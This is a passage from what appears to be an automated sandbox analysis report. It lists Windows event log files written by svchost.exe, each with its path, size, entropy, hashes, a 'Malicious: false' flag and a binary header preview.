Preview:	ElfChnk.........[...............[...........`................................................................................'.p................p...........................=...........................................................................................................................f...............?...........................m...................M...F.......................................................'f.......D...T.......................s..........O....p...h............../$...............}..**................qdf..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.760021633915647
Encrypted:	false
SSDEEP:	384:4hP8o8Z85848V8M8g8D8R8E8C888FB8J8a8:4R
MD5:	91415CB1A68CB19DCDB017402AAEB51E
SHA1:	EEEB808B9D0DFB3DB247AA10B64290A5029EAB89
SHA-256:	EDEE7AB462BF2D986393D24304BDEF02415A6E0483DE793BD452E169B7D08170
SHA-512:	C2F5AF43559DCE7BB66ABE305DF2DCFF0C95E2CF431D8DD0B6A02E216C8F4329C3B888BF2BF378918851A3066976FCEE745593B60970E5B9843535E6301E5BA0
Malicious:	false
Preview:	ElfChnk.........................................8!..$.0v....................................................................>...........................................V...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.......................................................................................**..(.............................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.764237940848338
Encrypted:	false
SSDEEP:	1536:pXhVUyS+z1VV18o838c8bUc8cVVsz8VX8SoX8aA8cmtpjAiVB18dwE4vjcYoMjn1:pXjnS
MD5:	BE74B579A16D1AED2F3F05666BFFF507
SHA1:	CDB750EBABBDBAAB19603DF3D308AC37E0C0B435
SHA-256:	6CFAB54B8CFCDC5BC8F0E6ED1B82C332FB1494C683DDB662B2F623A166CE2B3E
SHA-512:	2CDA0F0F4C49763CC28ED2D832FE1792D9F69A42968CD5BDCD93C09C84F1CDD28FF26CDF40FE8F9388EFB57638B46C5D208868C09B4126255A0290EC436ABC7F
Malicious:	false
Preview:	ElfChnk.........'...............'............I...J...::o......................................................................$................v...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&................................................>..............O.......................**..............g5...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SMBServer%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.4373812410985773
Encrypted:	false
SSDEEP:	768:50VsLY/Z5aFka2aKazzabCafama5Sa0ra6rzaJcavkao9OaafcmafEMXW0OWkjWr:jcEt
MD5:	5166C2E32BD35C5E8D122799E53B4EA3
SHA1:	628619C0E31F8C29ED260FCC063CD27935ACC25C
SHA-256:	433A96E20784F1E6FB099FA4AB020EEA75BB22EEBC7D969497A31ABCB9B415AB
SHA-512:	E5EA93AA871264E180BBC67008D7AA1012CDCAC74D22D10B47F1849380E092DF2FD798C7143DD3CAB5D9192EB4A89BB0EE60DA662E626923551906AB8F31DFD9
Malicious:	false
Preview:	ElfChnk.........?...............?............y...{...v.......................................................................bV................Q...........................=...........................................................a...............................................................f...............?...2...........................................M...F......................................&.......>h..................................................%_..........................]...................*.............._.............X..&.......X...],T.'tB..E........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	78040
Entropy (8bit):	4.115013899087152
Encrypted:	false
SSDEEP:	384:rhNiGQ5XpvVRYBQf5pJiT5pwiT5yY4iT5pBiT5pJk5pbik5pKik5yY5Lbik5p9io:rSLpBVi7CPqmxVSeX
MD5:	18C42CC9576AB51208AD3B294518C03D
SHA1:	545270AD7D05A2D8B791831F27940E8E21725842
SHA-256:	377177DA58CBFE0589BDC77079F18C4D5E3BFF3179F71AF0BD311A54C0B9FF1B
SHA-512:	2327FCD57BF41A236CD2E675436420C928D4DC4C3095168F35B9827F671CF6575FF9A69AECB9E20E6CFBF2976473F6E5E12EF4F62E6AEEEE3143F303A3F0D793
Malicious:	false
Preview:	ElfChnk.'.......+.......'.......+............$..`+..gv,......................................................................O..................X...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................1...............................................................&.......................................**......'...........f..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SettingSync%4Debug.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.322146858454247
Encrypted:	false
SSDEEP:	384:NH6/hDGCyCkCzCRCFC5CdCbCHCQCrlC+C2CV2CfCrUCECZ/C/C/2a22j2EW2z2/5:NH6/d7kNrTgt
MD5:	D8DABE7AC7FE8F2D1CD853002971BB8A
SHA1:	AC6B0F9940C1B3DB1FBC58DE8A95DD252FA73A6A
SHA-256:	DDC0E74C04DFDB71841128067C33E0B5388CC5E93EEA1FDA4ADDFC6CA39FCC77
SHA-512:	A9AF55922FC793B10A17731BC7F83A70E741E695B47249993530612A11D0A41481068A4DFD4B07182F5604A4AE289211D00766B79DB67CC25171D4ECA5A9292A
Malicious:	false
Preview:	ElfChnk.U...............U...................`...h....fyC......................................................................K................F.......................n...=...........................................................................................................................f...............?...........................m...................M...F............................F..............................&...............................................nw..............iq......................**..0...U.........Df..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4AppDefaults.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.475265357832672
Encrypted:	false
SSDEEP:	1536:P1W7C3yZy0PwbjNIFTLyQV2qRR4jBGDL+2ubu1ho7t8ckcXWIkFElThsk687vzGe:P1W7C3yZy0PwbjNIFTLyQV2qRR4jBGD+
MD5:	605D94FA0C65C59EECEECC2BEB2F61B5
SHA1:	28CA14F5E02A0A0348C4AC4A22BC228390B64F94
SHA-256:	4667182188A73611A09A2F2B7A5E623367634933BE49899E07ED2FFB99142381
SHA-512:	10CC31A6B3F5CC0AF090861E7EC615289DE4AB43E7B612F4F6518D6FEF8CD943E6A0F8A165AB4F6CAD5509575CC0C0D46960940799C95F1C6D6F103B4594EEA6
Malicious:	false
Preview:	ElfChnk.....................................0k...l..C.......................................................................2\x5................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................................6Y......................................**..............X.j[d.............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.47111181083742
Encrypted:	false
SSDEEP:	1536:8yzFyQWsk4cLSKph9YC/cmqbL9tKGjDLSGUpBpJyGBppmNEyUV2xoHDMzYC43sU4:8yzFyNsk4cLSKph9YC/cmqb5tKGjDLSq
MD5:	5E1FCE5317D65136634A651297937B38
SHA1:	76B30C7A98943026B52FF9C36040E75F771A605D
SHA-256:	97CB1DC7D98E8177799093F6B03F93F8F770B4875B0488E797E5AE312F3527FA
SHA-512:	C6421F7D8870F74900FD184ED847716C3760DF96A27F719EC56B20055F0F1B336476739EA99BBDC403D519D00EEFCE9049275AF5283655CFBEC0B19048D436F2
Malicious:	false
Preview:	ElfChnk.+.......X.......+.......X............X..hZ..........................................................................._.................2.......................Z...=...........................................................................................................................f...............?...........................m...................M...F................................................................................................O.......8..&.......AR...6..12...............:......*......+.......^..f..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ShellCommon-StartLayoutPopulation%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.517082344367377
Encrypted:	false
SSDEEP:	384:YjdAhA71d7587RS7a07DL7T7G7z7L7k7OXD7u7y7I717/7u7m727L07E7K72t7Rt:YBAiHEV6koTxbkeQEWi7Di
MD5:	2628D3458E9FBE638FC3A49E317866FA
SHA1:	8DB033ED373F8A837073679CE0F3B5DC1BD7085B
SHA-256:	D2B987B5AC61D1C66CACD6D0492AC4C4C316C9EE94638A0D312803BB9C24FD00
SHA-512:	6C3683E0A8CF261353830E1F2344A59428E55BBCAFE032AF52624FF961F28608C7E64134BBA4764DEB8885D384DFA593325DB889E9D752226FC29885E3520A67
Malicious:	false
Preview:	ElfChnk.....................................po..@q....`....................................................................\.$.............................................=...........................................................................................................................f...............?...........................m...................M...F...........................e4.............../..s...........&................................................L..............e2......................**..H............<R.d.............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Connectivity.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.314954486903959
Encrypted:	false
SSDEEP:	384:5mhc+uaNuru+uhuKVuPJu5u9u4ufuTuxuDuvuDuOuXumui+udutui4uTAuFuauia:s6Ovc0S5UyEeDgLpIC4DoA4
MD5:	864CAA67E4BF2A335E088526FF347CD9
SHA1:	64E224001D864A18D4999F5D33A42C532877A361
SHA-256:	C904C319101B31E991343FC8FF2929F6841599C9DCC23AC6218272F630AD5894
SHA-512:	B899FA6CDC7D0F97BACCC9025516045878BBA58E86ADEA79AA164B3B27F00F6E52F8B8838210A3ECD0C0E6A20D9DD48A4A4754F7408C1DA5F1FDC2EE7A504231
Malicious:	false
Preview:	ElfChnk.........A...............A............u...v..........................................................................c.w.................,.......................T...=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................................................................6f......w...............................**...............&3..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Security.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.773262505715791
Encrypted:	false
SSDEEP:	384:bhGuZumutu4uEu5uOuDuyb2uPu1uVupUupu+R7udu4uEu1u0u8uhuluxuMuxuMuH:b/vI
MD5:	C06B3BF303EBDD17D76D87B596EE5407
SHA1:	BFC46338E3A89112D6D7E1CFF7A9FB5909DE6458
SHA-256:	26AB9FE5730119306B700304DF2B2C11C6E8322F29CAA9AD49CBBA968DD54CD9
SHA-512:	7CBD5FFB770669AC0295C6221E02D24C116F4B72E3D990F60D122B2AED3280075DA5C3DBCA8A5749F5E566920799087D1094ECB31B5937D8B78EFB40BEC0D0A2
Malicious:	false
Preview:	ElfChnk.........T...............T...........@........J......................................................................?..................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................................vN......................................**..............Wy.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StateRepository%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.2371167268838485
Encrypted:	false
SSDEEP:	384:RhiAeCv4A+yMrAmA1AHA6AbAMAEAFmANA49ALAEAyKiAfAFgAw+AqAFAApjANAil:RCCvudb6KinaWRQJ4+8nEPDh0
MD5:	3F2115642206C3D448781C58F4EE8AF3
SHA1:	1408F4FF05D6887F74B445E296BC9B69163EDDAE
SHA-256:	84EF0FE4C7A64FA8200DEE7E064A658C2BB94A262A6DBD1353CB7EE458DF1684
SHA-512:	C3B530EA9AC3FD03615D91457CB88474254CCC6B53B3737C932690059274ED18552F40836F7CF78B698A650D636A93B72EC8C8E8057921A28CAF3718D18C85CC
Malicious:	false
Preview:	ElfChnk.........................................@....a..........................................................................................6.......................^...=...........................................................................................................................f...............?...........................m...................M...F...........................................5.................................................... ..........&................................$......**..`..............;f..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Health.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.1631981097466806
Encrypted:	false
SSDEEP:	384:4hKpsdp90mp9b2p9iGp95ep94+p9/Kp9Wqp9tap98Cp9Pp96p9lp9za1p9Dp9Wpb:4cafg0Y
MD5:	CBAE5379AAAD2B6A84714F5CEA39ACFA
SHA1:	A1AC7C71917C9F27EDA9E17CF0CAD78FC07A82E5
SHA-256:	726B1343CDE4D4B7D2558B9B3E86DAD3782983304D0349974FFA7725D40A9D2B
SHA-512:	7A6DF8A6BDF99348719F7005EFD293089BDD9EB93E2801CB7F3F38C77717E1E47D496E7A1D8FA9FED8EC27D28946214B71C7B156A537B40112D4A76E38F968B8
Malicious:	false
Preview:	ElfChnk.........'...............'....................k......................................................................+N.>........................................<...=...........................................................................................................................f...............?...........................m...................M...F...........................................................................................................&.......................................**..............E.yrf..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.036288214996343
Encrypted:	false
SSDEEP:	384:vhtbpwV1pIvpLfpvQpw2pQYph15pcApLqBpJxTp0qo8psfp4yp4Rphe3p7PpLWB0:vwDoh1V00eB9iVsTBwMjO2
MD5:	80B64057A5C06D0016A06F2D493CF301
SHA1:	452FDD974A9D63E05AC2F9AE4199CFD0C7CDCD62
SHA-256:	5ABDEF24E5D651A400B36F57A109443BC4F1C975FDAEBB512ADE44935C8BEB1A
SHA-512:	4F9E119EDA7FEED0948DABBDE51C9CBD835DB19EE717F3ED6EB99A16240EB351C968F4A8C39E8BCA2124A0E8A1C53AE5CD8A7D7F61748AFDE0574FF675166F43
Malicious:	false
Preview:	ElfChnk.\...............\.......................X...j.......................................................................LU.t.......................................R...=...........................................................................................................................f...............?...........................m...................M...F............................................;..............&...................................i..................................mS..............*..8...\........=..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.166433348209963
Encrypted:	false
SSDEEP:	384:/hwCCRzCaCkClCzCYC/CyCVCGCMCvCACWCKECQCMCdC:/KF6
MD5:	9AB3073B8BEBBC3C1E9DCB47217C8E27
SHA1:	33477618A675262EFDC74FACE70AE448EE9CAA05
SHA-256:	E19A280A63CB747D2029892A6F0E67D2C83461FF15112067AF24B8B5E136CC30
SHA-512:	58DD3DECA39CBF605861F78EDD27F3F97858581322063E9F7F1169C9F190613A22649289959A525729F503643B5EFDF5C1C20EE43C21B69C9B4468BA0BDAD6F5
Malicious:	false
Preview:	ElfChnk.....................................04..h6............................................................................4................V.......................~...=...........................................................................................................................f...............?...........................m...................M...F...........................&................................................................................+................................../...**..p............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Store%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	2000
Entropy (8bit):	3.9946609770137957
Encrypted:	false
SSDEEP:	24:MoVadg2WYF0378Cql8CEZOFBSH7iR0Lh7NsLH8Cql8C5jnMClOX5h1qya6l:M28WF3wCq6CYOFBBROycCq6ClmUyN
MD5:	1AA0395FFC632648A882DDBC588BE539
SHA1:	29E322C9A85D6A76A2EDD3AB17BA703112D598BE
SHA-256:	9C99B373D595439DF9307CC5BD1F59ACE4B0BEEC5ED3F551666B44611414707C
SHA-512:	CED5BC83650581DBDC3EAB9A4EFACF00E57B25CB77C38E2A28E2F9EDFE73C87C117DF8E16AB0ECEA8ED14A0BEFBDB4272DE2890C1D4941E6EAC332BAA8EB54E9
Malicious:	false
Preview:	ElfChnk..%.......%.......%.......%...........u...x.........................................................................g...........................................6...=...........................................................................................................................f...............?...........................m...................M...F........................H..................................u...............................................&.............................................%......R.#.MQ.........Z..&.......................................................................F.....!...A.A...........R.#.MQ....B.K....................%...................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.t.o.r.e..7...\..C.....M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.t.o.r.e./.O.p.e.r.a.t.i.o.n.a.l......................I.......I.n.v.o.k.i.n.g. .l.i.c.e.n.s.e. .m.a.n.a.g.e.r. .b.e.c.a.u.s.e. .l.i.c.e.n.s.e./.l.e.a.s.e. .p.o.l.l.i.n.g. .t.i.m.e. .u.p.:. .P.F.N. .M.i.c.r

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storsvc%4Diagnostic.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1796574971957638
Encrypted:	false
SSDEEP:	384:zhL6UsE0ZUmxUmgDUmSUmKUmgUmlUmB8UmCUmeUm6UmaUmVAUmXpUm:zY7L8
MD5:	8B560A881A5F9C759620FF8E1A6D3AEA
SHA1:	DABE1E8C072F979D2F3FC3927E09D806B0F4C575
SHA-256:	63A1F1160F85695D3AAB8A3BFA9CAE002376DDAB7A1AEFB3BF0E56C6012C63B0
SHA-512:	4E88834822DC8C93A430D4DF88BBB555E2591062412D23DC351E7EDCD3F74BF0B7D2A7DD5E7DA7A1BDB4F380AD0E765410EFC6DE5FF8D531DC6FECE4162BBD01
Malicious:	false
Preview:	ElfChnk......................................1..(4...F.........................................................................V................ .......................H...=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................................................................>-......................................**..............a...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TZUtil%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20398547605747852
Encrypted:	false
SSDEEP:	48:MXVWd8WrP+8QNRBEZWTENO4brBE3on+/6y:GfNVaO8io+/6y
MD5:	8D18D521020D4337E27D4347655AB3C0
SHA1:	6031B33F14245E733725472C6A3362F0C48ED391
SHA-256:	9C6ECC9531362572DC9EDE096E13BF9301E7412865EC6D44C856E875C9BB6465
SHA-512:	C084FD6FAF3F901B882B996ACFADFC2D3FC838E9874803DAE182A694065CDC9D9A4EB27D6FC6B68D76EEA70A6448E5EA2BE0372AD10C5C3E49DB0F3980F40462
Malicious:	false
Preview:	ElfChnk..............................................v......................................................................j7..................".......................J...=...........................................................................................................................f...............?...........................m...................M...F...........................................................................................................&.......................................**..............1oG.g..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.9658503180918458
Encrypted:	false
SSDEEP:	384:khHivRiLiakrkEi5iciMiHiQi8ixiBiFioikiFiixFiIMZifiwiLitixgZJiJi/P:kgtxHMa
MD5:	9961A2C4F5AC430AB4FE55D69904E2C9
SHA1:	BA49A1A12A889812148BECC8D5B285AD418D54FE
SHA-256:	EAE8AAB4F398C27A8E7855C8524389EBE4F695B28D2B51E9EA916738D5E579E9
SHA-512:	B7B0B29444E2B9BECCA18B96D5CA3D7098236C9919F7DE59A37405012C19C6B641CD3C1DA7E9E12F454004B93BB022F689125D31E26825929BB9A7D79FEF3199
Malicious:	false
Preview:	ElfChnk.y...............y................... d..0f.....6.....................................................................;.................>,..........................=.......................#.......................................>...........................................................f...............?.......................P.......................M...F...................................................9.......n(...............................................:...............,......................**......y..........a...........g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.409315294922095
Encrypted:	false
SSDEEP:	768:g9aQLBaPaLaTaHax9aDavaraHafavajavaPaPaDaza7a7aXa7aHaDaTanaLa7an6:YLa
MD5:	9E49EF68D56FB46D2B69FD623A107E01
SHA1:	4A41E44DBB7B968B2FCF0AC5E5F0304B9CBB9B4A
SHA-256:	683DB8F2A866C865E310319C4D470A8DDB68BE647576ED477E8E0E15BE224566
SHA-512:	A5CE16978273B8B623E98ABE1081F03BFB4B5FEFDC7893D2E921F0E5BFC96A56DAE0A959CB418B3300F3E596A5D15D442C91BDAB3F7E929150078BCDBF355476
Malicious:	false
